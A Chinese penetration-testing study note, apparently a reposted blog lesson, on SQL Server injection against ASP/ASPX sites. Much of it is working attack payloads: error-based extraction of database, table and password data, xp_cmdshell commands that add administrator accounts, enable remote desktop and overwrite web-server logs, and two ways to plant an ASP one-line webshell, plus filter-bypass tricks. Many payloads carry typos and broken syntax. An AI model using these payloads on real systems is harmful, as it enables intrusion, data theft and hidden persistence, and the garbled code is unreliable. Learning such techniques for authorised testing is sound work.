渗透测试学习 九、 MSsql注入上

MSsql注入漏洞详解

(Asp、Aspx站,常见于棋牌网站、考试网站、大学网站、政府网站、游戏网站、OA办公系统)

大纲:msSQL数据库调用分析  msSQL注入原理  msSQL注入另类玩法  

 msSQL数据库介绍及操作

  介绍:ms SQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。SQL Server一开始并不是微软自己研发的产品,而是当时为了要和IBM竞争时,与Sybase合作所

产生的,其最早的发展者是Sybase,同时微软也和Sybase合作过 SQL Server 4.2版本的研发,微软亦将SQL Server 4.2移植到Windows NT(当时为3.1版),在与Sybase终止合作关系后,自力开发出SQL Server 6.0版,往后的SQL Server即均由微软自行研发。(源自百度百科)

  特点:

    1、高性能设计。可充分利用WindowsNT的优势

    2、系统管理先进,支持Windows图形化管理工具,支持本地和远程的系统管理和配置

    3、强壮的事务处理能力,采用各种方法保证数据的完整性

    4、支持对称多处理器结构,存储过程、ODBC,并具有自主的SQL语言。SQLserver以其内置的数据复制功能,强大的管理工具与Internet的紧密集成和开放的系统结构为广大的用户,开发人员和系统集成商提功力一个出众的数据库平台

msSQL服务、端口、后缀

  重启服务,使其生效,命令:services.msc

  TCP 0.0.0.0:1433  0.0.0.0:0  LISTENING

  1433端口是开启的,当关闭服务后,端口也会随之关闭

  后缀 cracer.mdf(数据库文件)

  日志文件后缀 cracer_log.ldf

  管理员帐号:sa

  hydra 可以直接爆1433的弱口令

SQL sever 2005安装(Windows server 2003)

打开tools文件下的setup.exe文件进行安装

同意条款后点击下一步,安装

下一步,下一步

下一步,信息随便填,下一步

选择整个功能安装到本地硬盘上,点击下一步,下一步,安装

一路默认,完成。

安装服务servers,找到servers文件下的setup.exe文件进行安装

接受服务,下一步安装组件,下一步

一路默认下一步,全选,下一步

一路下一步到服务账户,设置使用内置系统账户,下一步

设置混合模式,设置密码,正常情况下这个密码应该设置的很难,但是我们只是搭建靶场,设置一个简单容易记的就可以(123)

可以直接默认下一步

一路默认,安装,下一步,完成

打开

打开后有两种方式登录,一种是Windows身份,一种是SQL server身份,我们选择SQL server

登录名是sa(相当于操作系统的最高权限账户) 密码是之前安装时自己设置的(123)

分离、附加数据库

 登入后就是数据库连接客户端界面(真正的数据库是看不到的,它只是一种服务,这个只是方便用户管理的一个客户端 )

数据库是靠dbid来区分的(在后面进行注入的时候就会体现出dbid的作用),我们新创建的就是dbid5,以下是自带的四个数据库

新建数据库如下:

对数据库出右键点击选择新建数据库,做好需要的设置以后点击确定就可以了

新建表:右键点击表-->新建表,做好相应的设置以后,Ctrl+s保存,设置表名

之后添加内容的时候,右键点击我们创建的表-->打开表,进行内容的添加,然后Ctrl+s保存就好

也可以通过命令来执行,点击嘴上脚的新建查询

 

使用数据库ceshi,点击执行

之后就是数据库的一些语句的使用了。进行增删改查的操作,每一次的命令都需要点击执行才可以成功

 如果要删除这个数据库,首先要记得,第一步-->分离

右键点击要删除的数据库,选择任务中的分离选项

 

然后找到数据库保存的路径,然后删除就好

关于附加,就是我们将别处下载下来的数据库要附加在我们的管理器中(需要注意兼容性的问题)

右击数据库,选择附加

找到数据库的路径(要选择两个文件.mdf  .ldf)

也可以生成脚本对数据库打包,拿到本地直接执行

在安全性里面是可以创建登录账号的,可以只针对某一个数据库进行账号的添加设置

如果要下载目标数据库的.mdf  .ldf,需要先分离数据库,否则无法进行复制移动操作的 

常见语句

  1、创建数据库

    CREATE DATABSE databse-name

  2/删除数据库

    drop database dbname

  查询所有

    select * from 表名

    select * from student

msSQL数据库权限

  sa权限:数据库操作、文件管理、命令执行、注册表读取等,system(是最高的权限)

  db权限:文件管理、数据库操作等,users-adminstrators

  public权限:数据库操作,guest-users

msSQL数据调用分析

  调用数据库的代码

1 <%
2 set conn=server.createobject("adodb.connection")
3 conn.open "provider=sqloledb;source=local;uid=sa;pwd=*******;"
4 database=database-name
5 %>

其中,provider后面的不用管,照写;source后面的可以是ip地址,这里使用的是本地地址(点号也是可以代替表示本地地址的);sa是内置的用户,后面是密码;database后面是要连接的数据库的名称。例如:mydatabase(不需要扩展名)

一般在存在于一些配置脚本中,如:web.config

msSQL数据库注入

  1、判断是否存在注入

    and 1=1 (回显正常)  adn 1=2(报错)  /(报错)  -0(回显正常)  其实所有的判断都可以使用这种方法

  2、初步判断是否是msSQL

    and user >0

  3、判断数据库系统

    and (select count(*) from sysobjects) >0 (回显正常说明是msSQL)

    and (select count(*) from msysobjects) >0 (回显正常说明是access)

  4、注入参数是字符

    'and [查询条件] and "='

  5、搜索时没有过滤参数的

    'and [查询条件] and '%25"="

  6、猜表明

    and (select count(*) from [表名]) >0

  7、猜字段

    and (select count(字段名) from 表名) >0

  8、猜字段中记录的长度

    and (select top 1 len(字段名) from 表名) >0

  9、(1)猜字段的ASCII值(access)

    and (select top 1 asc(mid(字段名,1,1)) from 表名) >0

   (2)猜字段的ASCII值(msSQL)

    and (select top 1 unicode(substring(字段名,1,1)) from 表名) >0

   10、测试权限结构(msSQL)测试当前是什么身份

    and 1=(select IS_SRVOEMEMBER('sysadmin'));--

    and 1=(select IS_SRVOEMEMBER('serveradmin'));--

    and 1=(select IS_SRVOEMEMBER('setupadmin'));--

    and 1=(select IS_SRVOEMEMBER('securityadmin'));--

    and 1=(select IS_SRVOEMEMBER('diskadmin'));--

    and 1=(select IS_SRVOEMEMBER('bulkadmin'));--

    and 1=(select IS_SRVOEMEMBER('db_owner'));--

  11、添加msSQL和系统的账户

1 1 exec master,dbo.sp_addlogin username;--
2 2 exec master,dbo.sp_password null,username,password;--
3 3 exec master,dbo.sp_addsrvrolemember sysadmin username;--
4 4 exec master,dbo.sp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /active:yes /add';--
5 5 exec master,dbo.xp_cmdshell 'net user username password /add';--
6 6 exec master,dbo.xp_cmdshell 'net localgroup administrators username /add';--

判断注入

  http://www.abc.com/anc.asp?id=0   在后面加 ' 后报错

获取数据库信息

  id=1 and 1=(select @@version)  //数据库版本

  原理:id=1是数字类型,@@version是字符类型;前后两个类型不匹配就要强制转换,出错,就会报错,并把查寻得信息以报错的形式显示出来

获取当前数据库的名称

  id=1 and 1=(select db_name())  //查询当前使用的数据库名

获取用户数据库名称

  and 1=(select top 1 name from master..sysdatabuses where dbid >4)  //获取第一个用户的数据库名

  and 1=(select top 1 name from master..sysdatabuses where dbid >4 and name<>' test)  //获取除过test库的下一个数据库

  and 1=(select top 1 name from master..sysdatabuses where dbid >4 and name<>' test and name<>' test2)

  以此类推

  也可以直接修改id范围来查询

  and 1=(select top 1 name from master..sysdatabuses where dbid >4)

  and 1=(select top 1 name from master..sysdatabuses where dbid >5)

  and 1=(select top 1 name from master..sysdatabuses where dbid >6)

  以此类推

  也可以 and 1=(select name sysobjects for xml path)

获取表名

  threads?id=1 and 1=(select top 1 name from sysobjects where xtype='u')  //获取第一张表

  threads?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name<>' news')

  以此类推

   也可以

  and 1=(select name from master..sysdatabases for xml path)

获取users的列名

  ?id=1 and 1=(select to 1 name from syscolumns where id=(select id from sysobjects where name = 'users'))

获取第一个用户名对应的密码

  ?id=1 and 1=(select top 1 upass from users)  //如果不能运行,将命令进行大小的转换再执行

msSQL数据库另类玩法

  msSQL注入时用户权限分析

    sa权限  dbo  public

  基本信息收集    

and 1=(select is_srvrolemember('sysadmin'))  //判断是不是系统管理员
and 1=(select is_srvrolemember('db_owner'))  //判断是不是库权限
and 1=(select is_srvrolemember('public'))   //判断是不是public权限
and 1=convert(int,db_name())或1=(select db_name())  //当前数据库名
and 1=(select @@servername)  //本地服务名
and 1=(select HAS_DBACCESS(CESS('master'))  //判断是否有库的读取权限

  利用msSQL扩展存储注入攻击

    1、检测与恢复扩展存储

      and 1=(select count(*) from master.dbo.sysobjects where xtype='x') AND name= 'xp_cmdshell')

    2、判断xp_rogread扩展存储过程是否存在

      and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')

    3、恢复

      EXEC sp_configure 'shew advanced options', 1; RECONFIGURE;

      EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

      ;exec sp_dropextendedproc xp_cmdshell, 'xplog 10.dll'

  sa权限下扩展存储攻击利用方法

    1、利用xp_cmdshell 扩展执行命令

      查看c盘

1 ;drop table black
2 ;create TABLE black(mulu verchar(7996)NULL,ID int NOT NULL IDENTLTY(1,1))--
3 ;insert into black exec master..xp_cmdshell 'dir c:'
4 and 1=(select top 1 mulu from black where id=1)

    新建用户

;exec master..xp_cmdshell 'net user test test /add'
;exec master..xp_cmdshell 'net localgroup administrators tesr /add'

    添加和删除一个sa权限的用户test(前提是需要sa权限)

exec master.dbo.sp_addlogin.tese,password
exec master.dbo.sp_addsrvrolemember test,sysadmin

    停止或激活某服务(前提是需要sa权限)

exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'

    暴网站目录

create table labeng(lala nvarchar(255), id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMControISetoolServicesw3svc5ParametersVirtualRoots','/',@result output insert into lebeng lala) vlaues (@result);

    删除日志记录

;exec master.dbo.xp_cmdshell 'copy c:winntsystem32logfilesw3svc5ex070404.log c:wintsystem32logfilesw3svc5ex070606.log >c:	emp.txt'

    开启远程数据库1

;select * from OPENROWSET ('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','selset * from table1'

    开启远程数据库2

;select * from OPENROWSET ('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;','select * from table')

    打开3389

;exec master..xpcmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start termservice'
;exec master..xp_cmdshell 'reg add "HKEY_MACHINESYSTEMCurrentControlSetControlTerminal Server" /vfDenyTSConnections /t REG_DWORO /d oxo /f'  //允许外部链接

;exec master..xp_cmdshell 'reg add "HKET_LOCAL_DWACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-TCP" /v PortNumber /t REG_DWORD /d ox50 /f'  //改端口到80

    利用sp_makewebtask写入一句话木马

;exec sp_makewebtask
'c:inetpubwwwrootx.asp','select "%3c%25%65%76%61%6c%20%72%65%71%75%65%73%74%74%28%22%63%68%6f%70%70%65%72%22%29%25%3e'"--
http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27c:inetpubwwwrootmsx1.asp%27,%27select%27%27<%executecrequest("cmd")%>%27%27--

     修改管理员密码

      update admin set password 123123 where username-'admin')

dbowner权限下的扩展攻击利用

  1、判断数据库用户权限

    ;create table tempcdir nvarchar(255),depth narchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--

  然后

    ;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree'c:',1,1--

    and(select dir from temp where id=1) >0

  由于不能一次性获取文件和文件名,因此需要改ID的值,依次列出文件和文件名

  找到web目录后,就可以写入一句话木马

;alter database ssdown5 set RECOVERY FULL  //修改数据库为RECOVERY模式
;create table test(str image)--  //创建一个表
;backup log ssdown5 to disk='c:	est' with init--  //备份
;insert into test(str) values ('<%excut(request("cmd"))%>')--  //插入一句话到列表中
;backup log ssdown5 to disk='c:inetpubwwwrootx.asp'--  //备份到网站根目录下并生成x.asp文件
;alter database ssdown5 set RECOVERY simple  //再将数据库模式改为RECOVERY

  也可以直接使用工具Getwebshell

工具使用:

  穿山甲,萝卜头,sqlmap。。。。。。

空格可以使用  /**/  +  %0a     代替以达到绕过检测的效果

2019-04-26  10:49:05

原文地址:https://www.cnblogs.com/Yuuki-/p/10769765.html